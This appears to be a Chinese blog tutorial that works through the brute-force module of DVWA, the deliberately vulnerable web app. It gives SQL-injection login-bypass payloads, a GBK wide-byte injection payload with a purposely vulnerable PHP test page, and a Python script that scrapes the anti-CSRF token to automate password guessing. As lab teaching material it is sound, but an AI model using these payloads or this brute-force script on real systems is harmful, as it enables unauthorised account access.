DVWA——改GBK尝试宽字节注入(brute教程)

tech2022-10-21  115

DVWA教程——爆破brute force

1、low等级

ps:加入echo $query 方便测试 输入admin/admin,查看$query结果

SELECT * FROM `users` WHERE user = 'admin' AND password = '21232f297a57a5a743894a0e4a801fc3'; // Get username $user = $_GET[ 'username' ]; // Get password $pass = $_GET[ 'password' ]; $pass = md5( $pass ); $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

没有对GET提交的username、password进行任何过滤,直接带入数据库进行查询,可进行注入 payload: ?username=admin’%23&password=&Login=Login

SELECT * FROM `users` WHERE user = 'admin'#' AND password = 'd41d8cd98f00b204e9800998ecf8427e';

?username=admin%27–+%2B&password=&Login=Login

SELECT * FROM `users` WHERE user = 'admin'-- +' AND password = 'd41d8cd98f00b204e9800998ecf8427e';

使用burp的intruder功能对密码进行爆破

2、medium等级

<?php // Sanitise username input $user = $_GET[ 'username' ]; $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; echo $query;

mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。查看转义效果:

SELECT * FROM `users` WHERE user = 'admin\'*/\"' AND password = 'c4ca4238a0b923820dcc509a6f75849b';

语法:

mysqli_real_escape_string(connection,escapestring); 参数描述connection必需。规定要使用的 MySQL 连接。escapestring必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z。

过滤的单引号、双引号不能注入,那就用burpsuite进行爆破,方法与前面相同

宽字节注入绕过

据说如果mysql的默认编码为GBK,可以绕过mysqli_real_escape_string/addslashes函数的过滤,自己修改下mysql设置,编写php代码测试一下 addslashes函数的语法:

addslashes ( string $str ) : string

addslashes函数的作用: 返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(’)、双引号(")、反斜线(\)与 NUL(NULL 字符)。

(1)修改mysql默认编码设置

参考教程:MySql5.7.18字符集配置图文实例分享

我用的是phpstudy2018版,mysql版本为5.5.53,用命令修改编码不能成功,直接从my.ini下手

[client] #default-character-set=utf8mb4 default-character-set=gbk port=3306 [mysql] #default-character-set=utf8mb4 default-character-set=gbk

phpstudy2018的mysqld下不能设置default-character-set=gbk,否则无法重新启动mysql,测试phpstudy2016发现改my.ini也没有用。

修改后查看默认编码

show variables like "%character_set_%";

修改dvwa数据库的默认编码 alter database dvwa character set gbk; 查看修改结果: show create database dvwa; 同理修改数据表user的默认编码 alter table ‘users’ default character set gbk; 查看修改结果: show create table users; 将medium.php单独拿出来,修改部分代码可以实现宽字节注入本地复现,在medium.php前两行加入下面代码测试宽字节注入: 注意:将该文件放在根目录下测试才能成功

$GLOBALS["___mysqli_ston"]=mysqli_connect('127.0.0.1','root','root','dvwa',3306); mysqli_query($GLOBALS["___mysqli_ston"], "SET NAMES 'gbk'" );

(2)编写测试代码

宽字节注入原理及本地复现参考教程:Hr-Papers|宽字节注入深度讲解 使用dvwa数据库编写测试代码:

<?php //连接数据库部分,注意使用了gbk编码 header('Content-Type:text/html;charset=gb2312'); $conn = mysqli_connect('localhost', 'root', 'root','dvwa') or die('bad!'); mysqli_query($conn,"SET NAMES 'gbk'"); //执行sql语句 $user = isset($_GET['user']) ? addslashes($_GET['user']) : 'admin'; //$user = isset($_GET['user']) ? mysqli_real_escape_string($conn,$_GET['user']) : 'admin'; $sql = "SELECT * FROM users WHERE user='{$user}'"; echo $sql; echo "\n"; $result = mysqli_query($conn,$sql) or die(mysqli_error($conn)); ?> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <title>宽字节测试</title> </head> <?php if( $result && mysqli_num_rows( $result ) == 1 ){ $row = mysqli_fetch_array($result, MYSQLI_ASSOC); echo "<h2>{$row['user']}</h2><p>{$row['password']}<p>\n"; } else{ echo "<p>"."user or password error!"."<p>\n"; } mysqli_close($conn); ?> </body> </html>

payload: ?user=admin%df%27%20–%20+ 使用mysqli_real_escape_string过滤的结果: 使用addslashes过滤的结果:

3、high等级

<?php if( isset( $_GET[ 'Login' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input $user = $_GET[ 'username' ]; $user = stripslashes( $user ); $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = stripslashes( $pass ); $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Check database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // Login failed sleep( rand( 0, 3 ) ); echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>

新增token校验和stripslashes()函数过滤

stripslashes定义和用法 stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。 提示:该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。 没有趁手的工具,自己来用python来爆破一波

获取token脚本

#coding:utf-8 import requests import re url='http://192.168.78.1/dvwa/vulnerabilities/brute/' headers={ "Host":"192.168.78.1", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding":"gzip, deflate", "Referer":"http://192.168.78.1/dvwa/security.php", "Connection":"keep-alive", "Cookie":"security=high; PHPSESSID=ke27qaiipg1rghvda1hgu4td86", "Upgrade-Insecure-Requests":"1", "Cache-Control":"max-age=0" } s=requests.session() res=s.get(url=url,headers=headers,timeout=10) # print(res.text) html_res=res.text pattern=r'\Suser_token\S\svalue=\S(.*)\S\s/>' p=re.compile(pattern) user_token=p.findall(html_res)[0] print(user_token) user='admin' pwd='password' params={'username':user,'password':pwd,'Login':'Login','user_token':user_token} bruteres=s.get(url=url,headers=headers,params=params,timeout=10) print(len(bruteres.text)) print(bruteres.text)

这里没有加载字典进行爆破,只用了正确的账号密码进行了登陆,关键在获取token,相关加载字典爆破代码可以参照我另一篇文章《Python 验证码 crunch|狼组CTF题 有验证码后台账号密码爆破》

最新回复(0)